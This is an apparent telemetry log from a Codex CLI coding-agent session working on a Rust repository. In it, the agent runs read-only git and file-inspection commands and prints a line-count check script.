codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:22.077Z] [INFO] \n[2026-07-12T04:07:22.082Z] [INFO] 2026-07-12T04:07:22.080296Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:22.080Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:22.082Z] [INFO] 2026-07-12T04:07:22.080963Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:22.080Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:22.082Z] [INFO] 2026-07-12T04:07:22.080993Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:22.082Z] [INFO] \n[2026-07-12T04:07:22.105Z] [INFO] 2026-07-12T04:07:22.104792Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:22.105Z] [INFO] \n[2026-07-12T04:07:22.109Z] [INFO] 2026-07-12T04:07:22.108134Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:22.109Z] [INFO] \n[2026-07-12T04:07:22.112Z] [INFO] 2026-07-12T04:07:22.112069Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:22.112Z] [INFO] \n[2026-07-12T04:07:22.206Z] [INFO] 2026-07-12T04:07:22.205717Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:22.206Z] [INFO] \n[2026-07-12T04:07:22.207Z] [INFO] 2026-07-12T04:07:22.205844Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:22 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"x-oai-request-id\": \"fcd939dc-7ab5-49a3-8ee0-75adc73e3d10\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=fH%2BWSkY7o01qRIasAKL1QIe1zV7eT%2BNd3Q1y5%2F%2FsCsqyBytcrLf2m7ON41rcMdIv4Ti1CGJUyl86iWCy2vpkW7AWGqXqZN%2FmAHRFlf0eEpOr4cGWoxZOWRqhdUAc\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-ray\": \"a19d2e3b4b76d2cb-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:22.207Z] [INFO] \n[2026-07-12T04:07:23.590Z] [INFO] 2026-07-12T04:07:23.589488Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312fb934481919e83fca6a6fa6e7f\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxL7BUDXfBJzf3aiJbEp-d57IS1aJwUtg0_q6bVSr416tDyggNBQHCIbH2UNssF0iR6i-ZY2KYXukeYLJov9SBVK4X6LjZk688HqbFwnqA7eNEE7nnE5dSgEpP8IUyUrmagIxN6i8u_e6atOi_WTqv8C_IbPYR3UxytCVjSK4wJmy7QxXcigu9EQldijlxM0DzFV7kLwoIHReHyqAY0VavJQAIkkiszGQHdUh3XoP-H8KP_fi3Ngopc2P_OQDoLBzqLxC2J8ahF1d-8UN8dAeoQ6TCuk5cApP2jDJ3-r52idyBwA0R7lAattzCPDvPz4UYkbcC5PcmU1o9NFv_hXe9-uSFzkGSwlzM9dBeIWSAI5IWtkfWpbRlJz2DbT3TUwxcPBdQ74Ez-icVTNZP9mvny1qGuVwPs-cSzoBeyoNGIzOm4YD4sqRonHw8cOJYbQjPU4fqaLATFMvdwLimmN_CZOrUbeLcG0PKMin_kPPz0zvUCt0Ia-CM_oLPwQ-f0-hxmmxGX7dwhJU2doqtAA6cX8L4abdhYGEGq9HEQWbmCsi_v3pMbdTPK8Z4rkZr_0zA-pesSOFVGq2tAMfLjkE8ierELvF3sFjx2-Ra915CDdAYj6M49CFEu1L9otRaQ7X1NgsnFJBsyTYxRbLxac0pMGgXfI_fgDsQ5jZubGAOzvbw75kuEYqbirbQW_g2ps6rCY3fN4YdqDswp0bDAapWhA4BFhvNtUB_QkuplLRPhvECceQM-3IBRMtP2gsu0Kmtdv-zI_SThoQzL14nY2CmPA3qpvS97lAmC9epNaoKMkB3L83uhQoCqUYl2fsM7XWBINUXh71j0LTnepHSXnjEN8Q8IUj2p4TpFHUkP0e9Uj4OVz9xeZ3vy95SCSMD2IAwSzlz7V_T1_UaOpfFfLM2EWIQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:23.590Z] [INFO] \n[2026-07-12T04:07:26.293Z] [INFO] 2026-07-12T04:07:26.286179Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312fb934481919e83fca6a6fa6e7f\"), summary: [SummaryText { text: \"**Inspecting Cargo.lock changes and missing rust-script**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxL-QmLgc7D8pu-PAuZGdowF_SNmLkrWI6W4Y9LlQDtNph4jHfaJT1WqG9F8bKDWJb386Y1IntQZwUKk1UpOHYdTwwP5_iGm5w1rq2q5of-2kec1Yan-X0zFISfhLAjcRV7qcm-1pExH12QElogILViLTVNTDF8Ie38ei9aVDq242NDDAnx3F7WeoRWccnw18N2aLGY6RLTzWdNj4Demz7hS2P52t3b4pmP98XIu0b9mwc9l64noaRRtUpv0mcBMH_tbOwx7pzJCBAkyE2Wgn5KGCTc4tX79A6Pb7cjr42pBApLs359k6tLRaROFRZMcg_WVO3YjNy9QMlg9Jz6uTB_-UW7T7eufMVp2zc1gKpF_0d9qlvboqHwBSbW2p1R4DJyfxAqtSr9kU5Vjn27cfPqm3DW34u1poHevxFZdfqkuDX-9BT8ryvUIC71zYsyh6IucUx6T84ttTyQYZ6j7psSwkiCueLKrCU6JtB6Bpa4e4SNehOF33Foxn9yIs-ltwNYI_Yc4yM6EPT6dx8RVtk20Q_jx5vhLPI6zC62-XbmbugPXNchNWE1ymhmwBkZwtt0wQv1lgbs5emvj1TcQGMmqjGxmNlvK0nAqzG0OIEEwbHVpVjDfrebkwq5TASZ4RSvgqLQeA1--GeOt2f6z2-IEUemZh6xb2inxb02GalbiZvdLL22oNfSrxWgUFSIxk2YLrHIDBS15ZAoLUQOkmnKk9a6OdUj3vMsUUli4WcuARS3un06SuA5_R1ZZmc5WfL8-zFT7kHaSpeZGA_9U3vT4gxyhDLQRlmJl-NN-4A1c5g0IsUvgT-Em4WrqocumGAZAGrWoaNMBnQsCJ82pqZCz8JNK7jkr1M_fnyOTnqQVXhqvIlHffBhMOB-H0v7nVzYuYeX9lc3UtVYvJJfHabbNPLHhnIMkEsuYPI0duYVSNc_xcclJoVeFYLElU_Bruq571BDrUhsxzcfOzNH_xOK7pJaq0ihy4z1NoVGf21P1MmsAn__iszgI2nZYQgTj3EG_4QnSWgnY4hFvlArLpQ9xZSKdXEKSxro7r9sz0HEYsOeOYjwiRYpbbHFMHyYP5YHgTtSKg9tnKdlTyHz7cWz4zWmecVZKios8AzgDyIhOjogwgxYPIDK0By7uQiArzdzkbm8xIp_Y6KirGxTYjnXEoHjLQ9sejiLlsYhUvh0jUBBJV5mytZIqR66m-Tkn7nt0i1xZ8scXTdXEBX6Qaqk0lydgzAztIQX_xpVdE8Moxcj1gQzkYk49Mmxm53VUv_UiPy8ClHaq5oG-Q8zVGHtu3jSn0RPW3nHs_V0O-RK9_dCskKL11qfgiYouaFwCXuUmU5DBzhawGyHCYUFdWg2o8qv2XvkfcBn2Y7oKqpxd4eZkNX-C9P3EsENlkQJq_zFaWeFAF8JVjhkOwFNujO1i5227VS7c3vuaBvK4FIhG0smiRQDJ_r3hpDdOtHF5KwJqpdWsp-zQ7hPc7LYrVvhv6pCwqZ1T8kWa6Eq82jYpJU8IrNePqrP4UjYb70ssZUL_gmJEmLQbxi0IZFe7e4vo_4RhbTrJXdZNqRwfR6qNEOcQOSxOJnodWuB7kvqtNX1oUAeMf2icwuoV2G-3pCNAKQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:26.293Z] [INFO] \n[2026-07-12T04:07:26.294Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_37\",\"type\":\"reasoning\",\"text\":\"**Inspecting Cargo.lock changes and missing rust-script**\"}}\n[2026-07-12T04:07:26.294Z] [INFO] \n[2026-07-12T04:07:26.303Z] [INFO] 2026-07-12T04:07:26.298331Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312fe3dec8191ad0dc380ea1ff259\"), status: Some(\"in_progress\"), call_id: \"call_hvBWvP0jKVO0Z4rhqDstgpUq\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:26.303Z] [INFO] \n[2026-07-12T04:07:27.661Z] [INFO] 2026-07-12T04:07:27.660294Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":10000}); text(r.output);\n[2026-07-12T04:07:27.661Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:27.661Z] [INFO] \n[2026-07-12T04:07:27.676Z] [INFO] 2026-07-12T04:07:27.665502Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312fa2d5c8191a1592132497ed533\"\n[2026-07-12T04:07:27.676Z] [INFO] 2026-07-12T04:07:27.665546Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=64132 output_token_count=220 cached_token_count=61184 reasoning_token_count=99 tool_token_count=64352 ttft_ms=1509 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:27.665Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.676Z] [INFO] 2026-07-12T04:07:27.665567Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=64132 output_token_count=220 cached_token_count=61184 reasoning_token_count=99 tool_token_count=64352 ttft_ms=1509 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:27.665Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.676Z] [INFO] \n[2026-07-12T04:07:27.737Z] [INFO] 2026-07-12T04:07:27.734901Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-389ca86e-d421-4706-bdbc-d57b750890cb decision=approved source=Config event.timestamp=2026-07-12T04:07:27.734Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.737Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] 2026-07-12T04:07:27.891350Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-389ca86e-d421-4706-bdbc-d57b750890cb arguments={\"cmd\":\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":10000} duration_ms=157 success=true output=Chunk ID: 649052\n[2026-07-12T04:07:27.892Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:07:27.892Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:27.892Z] [INFO] Original token count: 811\n[2026-07-12T04:07:27.892Z] [INFO] Output:\n[2026-07-12T04:07:27.892Z] [INFO]  D .gitkeep\n[2026-07-12T04:07:27.892Z] [INFO]  M Cargo.lock\n[2026-07-12T04:07:27.892Z] [INFO] ?? changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:27.892Z] [INFO] ?? docs/case-studies/issue-5/\n[2026-07-12T04:07:27.892Z] [INFO] diff --git a/Cargo.lock b/Cargo.lock\n[2026-07-12T04:07:27.892Z] [INFO] index effb973..bf607b7 100644\n[2026-07-12T04:07:27.892Z] [INFO] --- a/Cargo.lock\n[2026-07-12T04:07:27.892Z] [INFO] +++ b/Cargo.lock\n[2026-07-12T04:07:27.892Z] [INFO] @@ -315,7 +315,7 @@ checksum = \"f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79\"\n[2026-07-12T04:07:27.892Z] [INFO]  \n[2026-07-12T04:07:27.892Z] [INFO]  [[package]]\n[2026-07-12T04:07:27.892Z] [INFO]  name = \"meta-ontology\"\n[2026-07-12T04:07:27.892Z] [INFO] -version = \"0.7.0\"\n[2026-07-12T04:07:27.892Z] [INFO] +version = \"0.8.0\"\n[2026-07-12T04:07:27.892Z] [INFO]  dependencies = [\n[2026-07-12T04:07:27.892Z] [INFO]   \"clap\",\n[2026-07-12T04:07:27.892Z] [INFO]   \"links-notation\",\n[2026-07-12T04:07:27.892Z] [INFO] /home/box/.nvm/versions/node/v20.20.2/bin/npx\n[2026-07-12T04:07:27.892Z] [INFO] #!/usr/bin/env rust-script\n[2026-07-12T04:07:27.892Z] [INFO] //! Check for files exceeding the maximum allowed line count\n[2026-07-12T04:07:27.892Z] [INFO] //! Exits with error code 1 if any files exceed the limit\n[2026-07-12T04:07:27.892Z] [INFO] //!\n[2026-07-12T04:07:27.892Z] [INFO] //! Usage: rust-script scripts/check-file-size.rs\n[2026-07-12T04:07:27.892Z] [INFO] //!\n[2026-07-12T04:07:27.892Z] [INFO] //! ```cargo\n[2026-07-12T04:07:27.892Z] [INFO] //! [dependencies]\n[2026-07-12T04:07:27.892Z] [INFO] //! walkdir = \"2\"\n[2026-07-12T04:07:27.892Z] [INFO] //! ```\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] use std::fs;\n[2026-07-12T04:07:27.892Z] [INFO] use std::path::Path;\n[2026-07-12T04:07:27.892Z] [INFO] use std::process::exit;\n[2026-07-12T04:07:27.892Z] [INFO] use walkdir::WalkDir;\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] const MAX_LINES: usize = 1000;\n[2026-07-12T04:07:27.892Z] [INFO] const FILE_EXTENSIONS: &[&str] = &[\".rs\"];\n[2026-07-12T04:07:27.892Z] [INFO] const EXCLUDE_PATTERNS: &[&str] = &[\"target\", \".git\", \"node_modules\"];\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] fn should_exclude(path: &Path) -> bool {\n[2026-07-12T04:07:27.892Z] [INFO]     let path_str = path.to_string_lossy();\n[2026-07-12T04:07:27.892Z] [INFO]     EXCLUDE_PATTERNS.iter().any(|pattern| path_str.contains(pattern))\n[2026-07-12T04:07:27.892Z] [INFO] }\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] fn has_valid_extension(path: &Path) -> bool {\n[2026-07-12T04:07:27.892Z] [INFO]     if let Some(ext) = path.extension() {\n[2026-07-12T04:07:27.892Z] [INFO]         let ext_with_dot = format!(\".{}\", ext.to_string_lossy());\n[2026-07-12T04:07:27.892Z] [INFO]         FILE_EXTENSIONS.contains(&ext_with_dot.as_str())\n[2026-07-12T04:07:27.892Z] [INFO]     } else {\n[2026-07-12T04:07:27.892Z] [INFO]         false\n[2026-07-12T04:07:27.892Z] [INFO]     }\n[2026-07-12T04:07:27.892Z] [INFO] }\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] fn count_lines(path: &Path) -> Result {\n[2026-07-12T04:07:27.892Z] [INFO]     let content = fs::read_to_string(path)?;\n[2026-07-12T04:07:27.892Z] [INFO]     Ok(content.lines().count())\n[2026-07-12T04:07:27.892Z] [INFO] }\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] struct Violation {\n[2026-07-12T04:07:27.892Z] [INFO]     file: String,\n[2026-07-12T04:07:27.892Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:27.891Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.892Z] [INFO] 2026-07-12T04:07:27.891456Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-389ca86e-d421-4706-bdbc-d57b750890cb duration_ms=157 success=true arguments_length=332 output_length=1692 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:27.891Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.906Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_38\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:27.906Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_38\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\\\"\",\"aggregated_output\":\" D .gitkeep\\n M Cargo.lock\\n?? changelog.d/20260712_openmetadata_case_study.md\\n?? docs/case-studies/issue-5/\\ndiff --git a/Cargo.lock b/Cargo.lock\\nindex effb973..bf607b7 100644\\n--- a/Cargo.lock\\n+++ b/Cargo.lock\\n@@ -315,7 +315,7 @@ checksum = \\\"f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79\\\"\\n \\n [[package]]\\n name = \\\"meta-ontology\\\"\\n-version = \\\"0.7.0\\\"\\n+version = \\\"0.8.0\\\"\\n dependencies = [\\n  \\\"clap\\\",\\n  \\\"links-notation\\\",\\n/home/box/.nvm/versions/node/v20.20.2/bin/npx\\n#!/usr/bin/env rust-script\\n//! Check for files exceeding the maximum allowed line count\\n//! Exits with error code 1 if any files exceed the limit\\n//!\\n//! Usage: rust-script scripts/check-file-size.rs\\n//!\\n//! ```cargo\\n//! [dependencies]\\n//! walkdir = \\\"2\\\"\\n//! ```\\n\\nuse std::fs;\\nuse std::path::Path;\\nuse std::process::exit;\\nuse walkdir::WalkDir;\\n\\nconst MAX_LINES: usize = 1000;\\nconst FILE_EXTENSIONS: &[&str] = &[\\\".rs\\\"];\\nconst EXCLUDE_PATTERNS: &[&str] = &[\\\"target\\\", \\\".git\\\", \\\"node_modules\\\"];\\n\\nfn should_exclude(path: &Path) -> bool {\\n    let path_str = path.to_string_lossy();\\n    EXCLUDE_PATTERNS.iter().any(|pattern| path_str.contains(pattern))\\n}\\n\\nfn has_valid_extension(path: &Path) -> bool {\\n    if let Some(ext) = path.extension() {\\n        let ext_with_dot = format!(\\\".{}\\\", ext.to_string_lossy());\\n        FILE_EXTENSIONS.contains(&ext_with_dot.as_str())\\n    } else {\\n        false\\n    }\\n}\\n\\nfn count_lines(path: &Path) -> Result {\\n    let content = fs::read_to_string(path)?;\\n    Ok(content.lines().count())\\n}\\n\\nstruct Violation {\\n    file: String,\\n    lines: usize,\\n}\\n\\nfn main() {\\n    println!(\\\"\\\\nChecking Rust files for maximum {} lines...\\\\n\\\", MAX_LINES);\\n\\n    let cwd = std::env::current_dir().expect(\\\"Failed to get current directory\\\");\\n    let mut violations: Vec = Vec::new();\\n\\n    for entry in WalkDir::new(&cwd)\\n        .into_iter()\\n        .filter_map(|e| e.ok())\\n        .filter(|e| e.file_type().is_file())\\n    {\\n        let path = entry.path();\\n\\n        if should_exclude(path) {\\n            continue;\\n        }\\n\\n        if !has_valid_extension(path) {\\n            continue;\\n        }\\n\\n        match count_lines(path) {\\n            Ok(line_count) => {\\n                if line_count > MAX_LINES {\\n                    let relative_path = path\\n                        .strip_prefix(&cwd)\\n                        .unwrap_or(path)\\n                        .to_string_lossy()\\n                        .to_string();\\n                    violations.push(Violation {\\n                        file: relative_path,\\n                        lines: line_count,\\n                    });\\n                }\\n            }\\n            Err(e) => {\\n                eprintln!(\\\"Warning: Could not read {}: {}\\\", path.display(), e);\\n            }\\n        }\\n    }\\n\\n    if violations.is_empty() {\\n        println!(\\\"All files are within the line limit\\\\n\\\");\\n        exit(0);\\n    } else {\\n        println!(\\\"Found files exceeding the line limit:\\\\n\\\");\\n        for violation in &violations {\\n            println!(\\n                \\\"  {}: {} lines (exceeds {})\\\",\\n                violation.file, violation.lines, MAX_LINES\\n            );\\n        }\\n        println!(\\\"\\\\nPlease refactor these files to be under {} lines\\\\n\\\", MAX_LINES);\\n        exit(1);\\n    }\\n}\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:27.906Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] 2026-07-12T04:07:27.897383Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_hvBWvP0jKVO0Z4rhqDstgpUq arguments=const r=await tools.exec_command({cmd:\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":10000}); text(r.output);\n[2026-07-12T04:07:27.909Z] [INFO]  duration_ms=203 success=true output=Script completed\n[2026-07-12T04:07:27.909Z] [INFO] 